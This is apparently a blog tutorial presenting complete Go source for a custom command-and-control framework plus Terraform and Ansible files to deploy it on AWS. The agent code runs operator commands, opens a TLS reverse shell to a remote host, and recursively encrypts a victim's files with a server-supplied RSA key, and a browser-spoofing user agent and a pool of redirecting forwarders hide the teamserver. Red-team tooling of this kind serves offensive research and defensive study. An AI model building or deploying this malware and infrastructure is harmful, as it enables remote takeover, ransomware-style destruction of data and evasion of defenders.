Simple Custom Golang C2 Development and Deployment
Github: https://github.com/thoughtfault/simple-golang-c2
Summary
We will develop a simple golang c2 agent that communicates over HTTPS with a teamserver. The agent has basic functionality such as executing commands, obtaining reverse shells, and recursively encrypting files. We will also create a reverse proxy to guard the teamserver location. We will deploy the teamserver and agents to AWS with terraform and ansible.
Development
Agent
Our agent retrieves instructions from the teamserver and returns output over HTTPS.
package main
import (
"fmt"
"os"
"os/exec"
"io"
"io/fs"
"io/ioutil"
"path/filepath"
"net/http"
"net/url"
"strings"
"strconv"
"time"
"encoding/pem"
"crypto/tls"
"crypto/x509"
"crypto/sha256"
"crypto/rsa"
"crypto/rand"
"github.com/creack/pty"
"github.com/wolfeidau/golang-self-signed-tls"
)
// Settings
const remoteAddr = "127.0.0.1:8443"
const namePath = "/tmp/.name"
var includeFiletypes = []string{}
var agentName string
// Helper method for making http requests
func request(method string, url string, data url.Values) (*http.Response, error) {
var req *http.Request
var reqErr error
tlsConfig := &http.Transport {
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client:= &http.Client{Transport: tlsConfig}
if method == "GET" {
req, reqErr = http.NewRequest("GET", url, nil)
} else {
req, reqErr = http.NewRequest("POST", url, strings.NewReader(data.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if reqErr != nil {
return nil, reqErr
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36")
resp, err := client.Do(req)
if err != nil {
return nil, err
}
return resp, nil
}
// Retrives the public key to use during encryption routines
func getKeyBlock() (*rsa.PublicKey, error) {
resp, err := request("GET", "https://" + remoteAddr + "/pubkey", nil)
if err != nil {
return nil, err
}
respBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
keyBlock, _ := pem.Decode(respBytes)
keyValue, err := x509.ParsePKIXPublicKey(keyBlock.Bytes)
if err != nil {
return nil, err
}
return keyValue.(*rsa.PublicKey), nil
}
// Encrypts blocks of bytes with pubkey
func encrypt(plainBytes []byte, key *rsa.PublicKey) ([]byte, error) {
var cipherBytes []byte
hash := sha256.New()
msgLen := len(plainBytes)
step := key.Size() - 2*hash.Size() - 2
for start := 0; start < msgLen; start += step {
finish := start + step
if finish > msgLen {
finish = msgLen
}
newCipherBytes , err := rsa.EncryptOAEP(hash, rand.Reader, key, plainBytes[start:finish], nil)
if err != nil {
return nil, err
}
cipherBytes = append(cipherBytes, newCipherBytes...)
}
return cipherBytes, nil
}
// Wraper method for encrypt()
func encryptFile(path string, key *rsa.PublicKey) error {
plainBytes, err := os.ReadFile(path)
if err != nil {
return err
}
cipherBytes, err := encrypt(plainBytes, key)
if err != nil {
return err
}
info, err := os.Stat(path)
if err != nil {
return err
}
err = os.WriteFile(path, cipherBytes, info.Mode())
if err != nil {
return err
}
return nil
}
// Wraper method for encryptFile()
func encryptDirectory(targetPath string, extensions []string, key *rsa.PublicKey) ([]string, error) {
paths := make([]string, 0)
err := filepath.Walk(targetPath, func(path string, info fs.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() {
if len(extensions) != 0 {
splitFileName := strings.Split(info.Name(), ".")
if contains(extensions, splitFileName[len(splitFileName) - 1]) {
err := encryptFile(path, key)
if err != nil {
return err
}
paths = append(paths, path)
}
} else {
err := encryptFile(path, key)
if err != nil {
return err
}
paths = append(paths, path)
}
}
return nil
})
if err != nil {
return nil, err
}
return paths, nil
}
// Helper method for checkiing file extensions
func contains(extensions []string, target string) bool {
for _, extension := range extensions {
if extension == target {
return true
}
}
return false
}
// Invokes a reverse shell
func reverseShell(address string, port int) error {
result, err := selfsigned.GenerateCert(
selfsigned.Hosts([]string{"127.0.0.1", "localhost"}),
selfsigned.RSABits(4096),
selfsigned.ValidFor(365*24*time.Hour),
)
cert, err := tls.X509KeyPair(result.PublicCert, result.PrivateKey)
if err != nil {
return err
}
config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}
conn, _ := tls.Dial("tcp", fmt.Sprintf("%s:%d", address, port), &config)
commandObj := exec.Command("bash")
f, err := pty.Start(commandObj)
if err != nil {
return err
}
go func() {
_, _ = io.Copy(f, conn)
} ()
_, _ = io.Copy(conn, f)
f.Close()
return nil
}
// Retrieves instructions from remote server
func getCommand() (string, error) {
resp, err := request("GET", "https://" + remoteAddr + "/" + agentName + "/getCommand", nil)
if (err != nil) {
return "", err
}
body, err := ioutil.ReadAll(resp.Body)
if (err != nil) {
return "", err
}
if (string(body) == "") {
return "", err
}
return string(body), nil
}
// Runs a command
func runCommand(command string) (string, error) {
commandArgs := strings.Split(command[:len(command)], " ")
commandObj := exec.Command(commandArgs[0], commandArgs[1:]...)
byteOutput, err := commandObj.Output()
if (err != nil) {
return "", nil
}
return string(byteOutput), nil
}
// Returns output to remote server
func returnOutput(output string) {
data := url.Values{"output": {output}}
request("POST", "https://" + remoteAddr + "/" + agentName + "/returnOutput", data)
}
// Returns an error to remote server
func returnError(err string) {
data := url.Values{"error": {err}}
request("POST", "https://" + remoteAddr + "/" + agentName + "/returnError", data)
}
// Registers itself or loads the agent name from filesystem
func getName(remoteAddr string) (string, error) {
if _, err := os.Stat(namePath); err == nil {
content, err := ioutil.ReadFile(namePath)
if (err != nil) {
return "", err
}
return string(content), nil
}
for {
resp, err := request("GET", "https://" + remoteAddr + "/register", nil)
if (err != nil) {
return "", err
}
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
ioutil.WriteFile(namePath, body, 0600)
return string(body), nil
}
}
func main() {
var command string
var nameErr error
var cmdErr error
agentName, nameErr = getName(remoteAddr)
if nameErr != nil {
returnError(nameErr.Error())
}
command, cmdErr = getCommand()
if (cmdErr != nil || len(command) == 0) {
return
}
if (len(command) > 7 && command[:7] == "REVERSE") {
remoteAddrInfo := strings.Split(command[8:], ":")
if len(remoteAddrInfo) != 2 {
returnError("Invalid syntax for REVERSE")
return
}
address := remoteAddrInfo[0]
port, err := strconv.Atoi(remoteAddrInfo[1])
if err != nil {
returnError(err.Error())
return
}
err = reverseShell(address, port)
if err != nil {
returnError("unable to invoke reverse shell: " + err.Error())
}
} else if (len(command) > 7 && command[:7] == "ENCRYPT") {
directories := strings.Split(command[8:], ":")
key, err := getKeyBlock()
if err != nil {
returnError("Unable to get public key")
}
for _, directory := range directories {
paths, err := encryptDirectory(directory, includeFiletypes, key)
if err != nil {
returnError(err.Error())
} else {
returnOutput(strings.Join(paths, " "))
}
}
} else {
output, err := runCommand(command)
if (err != nil) {
returnError("unable to run command: " + err.Error())
return
}
returnOutput(output)
}
}
Reverse proxy
Our reverse proxy simply forwards requests to our teamserver.
package main
import (
"log"
"os"
"time"
"net/url"
"net/http"
"net/http/httputil"
"crypto/tls"
"github.com/wolfeidau/golang-self-signed-tls"
)
// Settings
var remoteAddr string
const listenAddr = "0.0.0.0:443"
const logPath = "/opt/logs.txt"
// Hanlder function for all requests, forward to remoteAddr
func handleRequest(proxy *httputil.ReverseProxy) func(http.ResponseWriter, *http.Request) {
return func(w http.ResponseWriter, req *http.Request) {
log.Println(req.Method, "from", req.RemoteAddr, "to", remoteAddr)
proxy.ServeHTTP(w, req)
}
}
func main() {
remoteAddr = os.Args[1]
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
file, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0666)
if err != nil {
log.Fatal("unable to open logfile", err)
}
log.SetOutput(file)
url, err := url.Parse(remoteAddr)
if err != nil {
log.Fatal("unable to parse remote address")
}
log.Println("creating reverse proxy to", remoteAddr)
proxy := httputil.NewSingleHostReverseProxy(url)
http.HandleFunc("/", handleRequest(proxy))
log.Println("generating ssl certificates")
result, err := selfsigned.GenerateCert(
selfsigned.Hosts([]string{"127.0.0.1", "localhost"}),
selfsigned.RSABits(4096),
selfsigned.ValidFor(365*24*time.Hour),
)
if err != nil {
log.Fatal("failed to generate ssl certificates", err)
}
cert, err := tls.X509KeyPair(result.PublicCert, result.PrivateKey)
if err != nil {
log.Fatal("failed to generate x509 keypair")
}
srv := &http.Server{
Addr: listenAddr,
WriteTimeout: 15 * time.Second,
ReadTimeout: 15 * time.Second,
TLSConfig: &tls.Config{
Certificates: []tls.Certificate{ cert },
},
}
log.Println("listening on", listenAddr)
log.Fatal(srv.ListenAndServeTLS("", ""))
}
Teamserver
Our teamserver provides the public routes that our reverse proxies will forward to. Operators can control the agents through the private routes, either by manually making requests or developing a basic cli client.
package main
import (
"io"
"log"
"os"
"crypto/tls"
"crypto/rsa"
"crypto/rand"
"crypto/x509"
"encoding/pem"
mathrand "math/rand"
"time"
"strings"
"net/http"
"encoding/gob"
"github.com/gorilla/mux"
"github.com/wolfeidau/golang-self-signed-tls"
)
// Settings
const letters = "abcdefghijklmnopqrstuvwxyz"
const agentFile = "/opt/agents.gob"
const privKeyPath = "/opt/priv.pem"
const pubKeyPath = "/opt/public.pem"
const logPath = "/opt/logs.txt"
const listenAddr = "0.0.0.0:443"
type agent struct {
Name string
Address string
Commands []string
CommandOutput []string
}
var agents map[string]*agent
// Generates a random name with global letters
func generateName() string {
name := make([]byte, 9)
for i := range name {
name[i] = letters[mathrand.Int63() % int64(len(letters))]
}
return string(name)
}
// Helper function to generate pem
func generateKeypair() error {
privKey, err := rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
return err
}
pubKey := &privKey.PublicKey
privKeyBytes := x509.MarshalPKCS1PrivateKey(privKey)
privKeyBlock := &pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: privKeyBytes,
}
privPem, err := os.Create(privKeyPath)
if err != nil {
return err
}
err = pem.Encode(privPem, privKeyBlock)
if err != nil {
return err
}
pubKeyBytes, err := x509.MarshalPKIXPublicKey(pubKey)
if err != nil {
return err
}
pubKeyBlock := &pem.Block{
Type: "PUBLIC KEY",
Bytes: pubKeyBytes,
}
pubPem, err := os.Create(pubKeyPath)
if err != nil {
return err
}
err = pem.Encode(pubPem, pubKeyBlock)
if err != nil {
return err
}
return nil
}
// Loads agent info from filesystem
func loadAgents() error {
file, _ := os.Open(agentFile)
decoder := gob.NewDecoder(file)
err := decoder.Decode(&agents)
if err != nil {
return err
}
file.Close()
return nil
}
// Update agent info to filesystem
func updateAgents() {
file, err := os.Create(agentFile)
if err != nil {
log.Println(err.Error())
}
gob.NewEncoder(file).Encode(agents)
file.Close()
}
// Helper function for gettinf fields
func getField(req *http.Request, field string) string {
vars := mux.Vars(req)
return vars[field]
}
// Checks if a agent is communicating from a new IP address
func updateAddress(name string, remoteAddr string) {
address := strings.Split(remoteAddr, ":")[0]
if agents[name].Address != address {
agents[name].Address = address
}
}
// Private route to add command to command queue
func AddCommand(w http.ResponseWriter, req *http.Request) {
if strings.Split(req.RemoteAddr, ":")[0] != "127.0.0.1" {
log.Println("AddCommand: an unauthorized connection from", req.RemoteAddr, "was ignored")
return
}
if req.Method != "POST" {
io.WriteString(w, "METHOD NOT ALLOWED")
}
name := getField(req, "name")
if _, ok := agents[name]; !ok {
log.Println("AddCommand: agent with name", name, "is not found")
return
}
if err := req.ParseForm(); err != nil {
return
}
command := string(req.FormValue("command"))
agents[name].Commands = append(agents[name].Commands, command)
updateAgents()
io.WriteString(w, name + " " + string(command))
log.Println("added command (" + command + ") for", name)
}
// Private route to get command output
func GetOutput(w http.ResponseWriter, req *http.Request) {
if strings.Split(req.RemoteAddr, ":")[0] != "127.0.0.1" {
log.Println("GetOutput: an unauthorized connection from", req.RemoteAddr, "was ignored")
return
}
if req.Method != "GET" {
io.WriteString(w, "METHOD NOT ALLOWED")
}
name := getField(req, "name")
if _, ok := agents[name]; !ok {
log.Println("GetOutput: agent with name", name, "is not found")
return
}
if len(agents[name].CommandOutput) == 0 {
log.Println("an unauthorized connection from", req.RemoteAddr, "was ignored")
io.WriteString(w, "NO RESULTS")
return
}
result := agents[name].CommandOutput[0]
agents[name].CommandOutput = agents[name].CommandOutput[1:]
updateAgents()
io.WriteString(w, result)
log.Println("served (" + result + ") to administrator")
}
// Public route to serve commands to agents
func GetCommand(w http.ResponseWriter, req *http.Request) {
if req.Method != "GET" {
return
}
name := getField(req, "name")
if _, ok := agents[name]; !ok {
log.Println("GetCommand: agent with name", name, "is not found")
return
}
updateAddress(name, req.RemoteAddr)
if len(agents[name].Commands) == 0 {
log.Println("agent with name", name, "has no commands in queue")
return
}
command := agents[name].Commands[0]
agents[name].Commands = agents[name].Commands[1:]
updateAgents()
io.WriteString(w, command)
log.Println("served (" + command + ") to", name)
}
// Public route to assign names to agents
func RegisterAgent(w http.ResponseWriter, req *http.Request) {
if req.Method != "GET" {
return
}
name := generateName()
newAgent := agent{Name: name, Address: strings.Split(req.RemoteAddr, ":")[0], Commands: make([]string, 0), CommandOutput: make([]string, 0)}
agents[name] = &newAgent
updateAgents()
log.Println("added", name, req.RemoteAddr, "to agent pool")
io.WriteString(w, name)
}
// Public route to retrieve errors from agents
func ReturnError(w http.ResponseWriter, req *http.Request) {
if req.Method != "POST" {
return
}
if err := req.ParseForm(); err != nil {
return
}
outputErr := req.FormValue("error")
name := getField(req, "name")
if _, ok := agents[name]; !ok {
log.Println("ReturnError: agent with name", name, "is not found")
return
}
updateAddress(name, req.RemoteAddr)
agents[name].CommandOutput = append(agents[name].CommandOutput, outputErr)
updateAgents()
log.Println("agent with name", name, "returned error of (" + outputErr + ")")
}
// Public route to retrieve output from agents
func ReturnOutput(w http.ResponseWriter, req *http.Request) {
if req.Method != "POST" {
return
}
if err := req.ParseForm(); err != nil {
return
}
output := req.FormValue("output")
name := getField(req, "name")
if _, ok := agents[name]; !ok {
log.Println("ReturnOutput: agent with name", name, "is not found")
return
}
updateAddress(name, req.RemoteAddr)
agents[name].CommandOutput = append(agents[name].CommandOutput, output)
updateAgents()
log.Println("agent with name", name, "returned output of (" + output + ")")
}
// Public route to server public key for encryption
func ServePubkey(w http.ResponseWriter, req *http.Request) {
if req.Method != "GET" {
return
}
if _, err := os.Stat(pubKeyPath); os.IsNotExist(err) {
err := generateKeypair()
if err != nil {
log.Println("there was a problem generating keypairs")
return
}
}
content, err := os.ReadFile(pubKeyPath)
if err != nil {
log.Println("cannot read public key path", pubKeyPath)
return
}
log.Println("served public key to", req.RemoteAddr)
io.WriteString(w, string(content))
}
func main() {
file, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0666)
if err != nil {
log.Fatal("unable to open logfile", err)
}
log.SetOutput(file)
if _, err := os.Stat(agentFile); err == nil {
err := loadAgents()
if err != nil {
log.Fatal(err)
}
log.Println("loaded agents from", agentFile)
} else {
agents = make(map[string]*agent)
log.Println("creating agents")
}
mathrand.Seed(time.Now().UnixNano())
router := mux.NewRouter()
log.Println("starting webserver", listenAddr)
router.HandleFunc("/register", RegisterAgent)
router.HandleFunc("/{name}/addCommand", AddCommand)
router.HandleFunc("/{name}/getOutput", GetOutput)
router.HandleFunc("/{name}/getCommand", GetCommand)
router.HandleFunc("/{name}/returnError", ReturnError)
router.HandleFunc("/{name}/returnOutput", ReturnOutput)
router.HandleFunc("/pubkey", ServePubkey)
result, err := selfsigned.GenerateCert(
selfsigned.Hosts([]string{"127.0.0.1", "localhost"}),
selfsigned.RSABits(4096),
selfsigned.ValidFor(365*24*time.Hour),
)
cert, err := tls.X509KeyPair(result.PublicCert, result.PrivateKey)
if err != nil {
log.Fatal("unable to open ssl certificate files")
}
srv := &http.Server{
Handler: router,
Addr: listenAddr,
WriteTimeout: 15 * time.Second,
ReadTimeout: 15 * time.Second,
TLSConfig: &tls.Config{
Certificates: []tls.Certificate{ cert },
},
}
log.Fatal(srv.ListenAndServeTLS("", ""))
}
Deployment
Here is what our directory structure looks like:
├── files
│ ├── forwarder
│ ├── forwarder.service.j2
│ ├── server
│ ├── server.service
├── install-forwarder.yml
├── install-server.yml
├── main.tf
├── terraform.tfvars
└── variables.tf
Terraform
Our main terraform file will provision our ec2 instances and configure our DNS record. We are using the multivalue routing policy so that our agents don’t home back to the same IP address every period.
Contents of main.tf:
provider "aws" {
region = var.region
}
data "aws_route53_zone" "this" {
name = var.domain_name
private_zone = false
}
resource "aws_vpc" "this" {
cidr_block = var.vpc_cidr
}
resource "aws_internet_gateway" "this" {
vpc_id = aws_vpc.this.id
}
resource "aws_route_table" "this" {
vpc_id = aws_vpc.this.id
route {
cidr_block = "0.0.0.0/0"
gateway_id = aws_internet_gateway.this.id
}
route {
ipv6_cidr_block = "::/0"
gateway_id = aws_internet_gateway.this.id
}
}
resource "aws_route_table_association" "this" {
subnet_id = aws_subnet.this.id
route_table_id = aws_route_table.this.id
}
resource "aws_subnet" "this" {
vpc_id = aws_vpc.this.id
cidr_block = var.subnet_cidr
}
resource "aws_security_group" "this" {
vpc_id = aws_vpc.this.id
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = [var.operator_ip]
}
egress {
from_port = 0
to_port = 0
protocol = -1
cidr_blocks = ["0.0.0.0/0"]
ipv6_cidr_blocks = ["::/0"]
}
}
resource "tls_private_key" "this" {
algorithm = "RSA"
rsa_bits = 4096
}
resource "aws_key_pair" "this" {
key_name = var.key_name
public_key = tls_private_key.this.public_key_openssh
}
resource "local_file" "pk" {
filename = "${aws_key_pair.this.key_name}.pem"
content = tls_private_key.this.private_key_pem
file_permission = "0600"
}
resource "aws_instance" "server" {
ami = var.ami
instance_type = var.server_type
vpc_security_group_ids = [aws_security_group.this.id]
key_name = aws_key_pair.this.key_name
subnet_id = aws_subnet.this.id
associate_public_ip_address = true
provisioner "remote-exec" {
connection {
host = self.public_ip
user = "ubuntu"
private_key = file("${var.key_name}.pem")
}
inline = ["echo connected"]
}
provisioner "local-exec" {
command = "ANSIBLE_HOST_KEY_CHECKING=False ansible-playbook -i '${self.public_ip},' --private-key=${var.key_name}.pem install-server.yml"
}
}
resource "aws_instance" "forwarder" {
count = var.forwarder_count
ami = var.ami
instance_type = var.forwarder_type
vpc_security_group_ids = [aws_security_group.this.id]
key_name = aws_key_pair.this.key_name
subnet_id = aws_subnet.this.id
associate_public_ip_address = true
provisioner "remote-exec" {
connection {
host = self.public_ip
user = "ubuntu"
private_key = file("${var.key_name}.pem")
}
inline = ["echo connected"]
}
provisioner "local-exec" {
command = "ANSIBLE_HOST_KEY_CHECKING=False ansible-playbook -i '${self.public_ip},' --private-key=${var.key_name}.pem --extra-vars \"server_ip='${aws_instance.server.public_ip}'\" install-forwarder.yml"
}
}
resource "aws_route53_record" "this" {
count = var.forwarder_count
zone_id = data.aws_route53_zone.this.zone_id
name = var.subdomain
type = "A"
ttl = 600
multivalue_answer_routing_policy = true
set_identifier = count.index
records = [aws_instance.forwarder[count.index].public_ip]
}
Contents of variables.tf
variable "region" {
type = string
description = "The region to deploy to"
}
variable "ami" {
type = string
description = "The AMI to for the instances"
}
variable "domain_name" {
type = string
description = "The domain name of the hosted zone to use for c2"
}
variable "vpc_cidr" {
type = string
description = "The cidr block for the vpc"
}
variable "subnet_cidr" {
type = string
description = "The cidr block for the subnet"
}
variable "operator_ip" {
type = string
description = "IP address for management traffic to come through"
}
variable "key_name" {
type = string
description = "The name of the private key"
}
variable "server_type" {
type = string
description = "Instance type for control server"
}
variable "forwarder_count" {
type = number
description = "Number of forwarders to provision"
}
variable "forwarder_type" {
type = string
description = "Instance type of forwarders"
}
variable "subdomain" {
type = string
description = "The subdomain to use for c2"
}
Contents of terraform.tfvars:
region = "us-east-1"
ami = "ami-072d6c9fae3253f26"
domain_name = "yourdomain.com"
subdomain = "c2.yourdomain.com"
vpc_cidr = "192.168.1.0/24"
subnet_cidr = "192.168.1.0/24"
operator_ip = "xx.xx.xx.xx/32"
key_name = "deployment-key"
server_type = "t2.medium"
forwarder_type = "t2.micro"
forwarder_count = 10
Ansible
In our terraform file, we called local-exec to run our playbooks. These will configure our server and forwarders.
Contents of install-forwarder.yml
- name: Install c2 forwarders
hosts: all
remote_user: ubuntu
become: yes
tasks:
- name: Copy binary
ansible.builtin.copy:
src: files/forwarder
dest: /opt/forwarder
mode: '0755'
- name: Copy service file
ansible.builtin.template:
src: files/forwarder.service.j2
dest: /etc/systemd/system/forwarder.service
mode: '0644'
- name: Start service
ansible.builtin.service:
state: restarted
daemon_reload: yes
name: forwarder
Contents of install-server.yml
- name: Install c2 server
hosts: all
remote_user: ubuntu
become: yes
tasks:
- name: Copy binary
ansible.builtin.copy:
src: files/server
dest: /opt/server
mode: '0755'
- name: Copy service file
ansible.builtin.copy:
src: files/server.service
dest: /etc/systemd/system/server.service
mode: '0644'
- name: Start service
ansible.builtin.service:
state: restarted
daemon_reload: yes
name: server
References
https://github.com/wolfeidau/golang-self-signed-tlshttps://www.systutorials.com/how-to-generate-rsa-private-and-public-key-pair-in-go-lang/ https://0xrick.github.io/misc/c2/ https://stackoverflow.com/questions/62348923/rs256-message-too-long-for-rsa-public-key-size-error-signing-jwt https://medium.com/rungo/secure-https-servers-in-go-a783008b36da https://eli.thegreenplace.net/2021/go-https-servers-with-tls/ https://blog.joshsoftware.com/2021/05/25/simple-and-powerful-reverseproxy-in-go/ https://www.systutorials.com/how-to-generate-rsa-private-and-public-key-pair-in-go-lang https://stackoverflow.com/questions/67389324/create-a-key-pair-and-download-the-pem-file-with-terraform-aws